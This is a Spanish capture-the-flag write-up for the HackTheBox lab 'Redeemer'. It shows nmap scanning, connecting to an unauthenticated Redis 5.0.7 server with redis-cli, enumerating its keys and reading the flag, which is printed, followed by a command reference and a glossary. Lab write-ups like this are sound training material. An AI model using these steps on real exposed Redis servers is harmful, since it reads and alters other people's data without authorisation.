REDEEMER

// Redis No Auth → Keyspace Enumeration → Flag

MUY FÁCIL HACKTHEBOX LINUX REDIS NO AUTH // Junio 2026

Reconocimiento

1
ESCANEO COMPLETO CON NMAP

Lanzamos el escaneo con nmap contra 10.129.136.187. De los 65,535 puertos TCP, solo uno responde: el puerto 6379, puerto por defecto de Redis, con la versión 5.0.7.

Redis expuesto directamente a la red sin autenticación es una misconfiguration clásica. No hace falta ningún exploit — con el cliente oficial redis-cli podemos interactuar libremente con la base de datos.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.136.187 -oX redeemer.xml
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 5.0.7

// REDIS SIN AUTENTICACIÓN — ACCESO DIRECTO

Por defecto, Redis no requiere contraseña para conectarse. La configuración requirepass en redis.conf está vacía salvo que el administrador la establezca explícitamente. Un servidor Redis expuesto en red pública sin esta configuración otorga acceso completo a todos los datos almacenados, y en versiones antiguas incluso permite escritura de archivos al sistema operativo.

2
REPORTE HTML CON XSLTPROC

Transformamos el XML de nmap en un reporte HTML navegable con xsltproc.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl redeemer.xml > redeemer.html

Redis · Enumeración

3
CONEXIÓN CON REDIS-CLI E INFO DEL SERVIDOR

Nos conectamos directamente con redis-cli usando el flag -h para especificar el host. El servidor acepta la conexión sin solicitar ninguna contraseña — acceso inmediato al prompt de Redis.

Ejecutamos info para obtener información del servidor. En la sección Keyspace vemos que la base de datos db0 contiene 4 keys. Ya sabemos dónde buscar.

REDIS-CLI
$ redis-cli -h 10.129.136.187
10.129.136.187:6379>
INFO
10.129.136.187:6379> info
# Cluster
cluster_enabled:0
 
# Keyspace
db0:keys=4,expires=0,avg_ttl=0

// WEAK AUTHENTICATION — SIN REQUIREPASS

La directiva requirepass no está configurada en este servidor, lo que permite conectarse sin credenciales. Combinado con la exposición del puerto 6379 a la red, cualquier atacante con acceso a la red puede leer, modificar o borrar todos los datos almacenados en Redis.

4
SELECCIÓN DE BASE DE DATOS Y LISTADO DE KEYS

Seleccionamos la base de datos 0 con select 0 y listamos todas las keys con keys *. El servidor devuelve cuatro entradas: stor, flag, temp y numb. El objetivo es evidente.

SELECT
10.129.136.187:6379> select 0
OK
KEYS
10.129.136.187:6379> keys *
1) "stor"
2) "flag"
3) "temp"
4) "numb"

Flag

5
LECTURA DEL VALOR DE LA KEY FLAG

Recuperamos el valor de la key flag con el comando get. Redis devuelve el hash directamente como string. Máquina completada.

GET FLAG
10.129.136.187:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"

// FLAG

03e1d2b376c37ab3f5319922053953eb — Acceso directo a Redis sin autenticación. Completada en 5 pasos: nmap → redis-cli → info → select 0 → keys * → get flag.


VULNERABILIDAD COMPONENTE IMPACTO
Weak Authentication Redis 5.0.7 · sin requirepass Acceso completo a todos los datos
Default Credentials Redis · configuración por defecto Sin contraseña en instalación base
Exposición de servicio Puerto 6379 accesible externamente Redis accesible desde cualquier host

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de puertos TCP con detección de versiones, scripts NSE y exportación XML.
  • -p- — escanea los 65,535 puertos TCP
  • -sS — SYN scan sin completar handshake
  • -sC — scripts NSE por defecto
  • -sV — detección de versión de servicios
  • -n — desactiva resolución DNS
  • -Pn — omite host discovery previo
  • --min-rate — paquetes mínimos por segundo
  • -oX — exporta resultado a XML
redis-cli
redis-cli -h <IP> [-p puerto] [-a password]
Cliente oficial de Redis para interactuar con el servidor desde línea de comandos. Permite ejecutar cualquier comando Redis directamente.
  • -h <host> — dirección del servidor Redis
  • -p <port> — puerto (por defecto 6379)
  • -a <pass> — contraseña si requirepass está activo
  • -n <db> — selecciona base de datos al conectar
Comandos Redis
info · select · keys · get · set · del
Comandos esenciales para enumeración y extracción de datos en un servidor Redis.
  • info — información del servidor y keyspace
  • select <n> — cambia a la base de datos n (0-15)
  • keys * — lista todas las keys de la base de datos activa
  • get <key> — obtiene el valor de una key tipo string
  • type <key> — devuelve el tipo de dato de la key
  • dbsize — número de keys en la base de datos activa
xsltproc
xsltproc /usr/share/nmap/nmap.xsl out.xml > out.html
Transforma el XML exportado por nmap en un reporte HTML navegable usando la hoja de estilos XSL de nmap.
  • --output <file> — archivo de salida alternativo

Glosario

Redis — Remote Dictionary Server
Redis es una base de datos en memoria de tipo clave-valor (key-value store), de código abierto, diseñada para máxima velocidad. Soporta múltiples estructuras de datos: strings, hashes, listas, sets, sorted sets, bitmaps y más. Opera por defecto en el puerto 6379 sobre TCP y es ampliamente usado como caché, message broker y base de datos de sesiones. Su modelo de datos simple y su API de comandos directa lo hacen trivialmente explotable cuando se expone sin autenticación.
Weak Authentication — Sin requirepass
En Redis, la autenticación se configura mediante la directiva requirepass en redis.conf. Si no está definida, el servidor acepta conexiones de cualquier cliente sin verificar credenciales. Esta es la configuración por defecto en instalaciones base. Desde Redis 6.0 existe también ACL (Access Control Lists) para control de acceso más granular. En Redeemer, requirepass no está configurado, permitiendo acceso total sin autenticación.
Keyspace — Espacio de claves en Redis
Redis organiza los datos en hasta 16 bases de datos numeradas del 0 al 15. El comando info keyspace muestra qué bases de datos contienen datos, cuántas keys tienen y su TTL promedio. Por defecto los clientes se conectan a la db0. El comando select n permite cambiar entre bases de datos dentro de una misma conexión. En Redeemer, db0 tenía 4 keys, una de ellas la flag.
VPN — Virtual Private Network en HTB
HackTheBox utiliza una VPN basada en OpenVPN para aislar las máquinas objetivo. Al conectar con sudo openvpn <archivo.ovpn>, el sistema crea una interfaz tun0 que enruta el tráfico hacia los servidores de HTB. Sin esta conexión, las IPs del rango 10.129.x.x no son alcanzables desde la máquina atacante.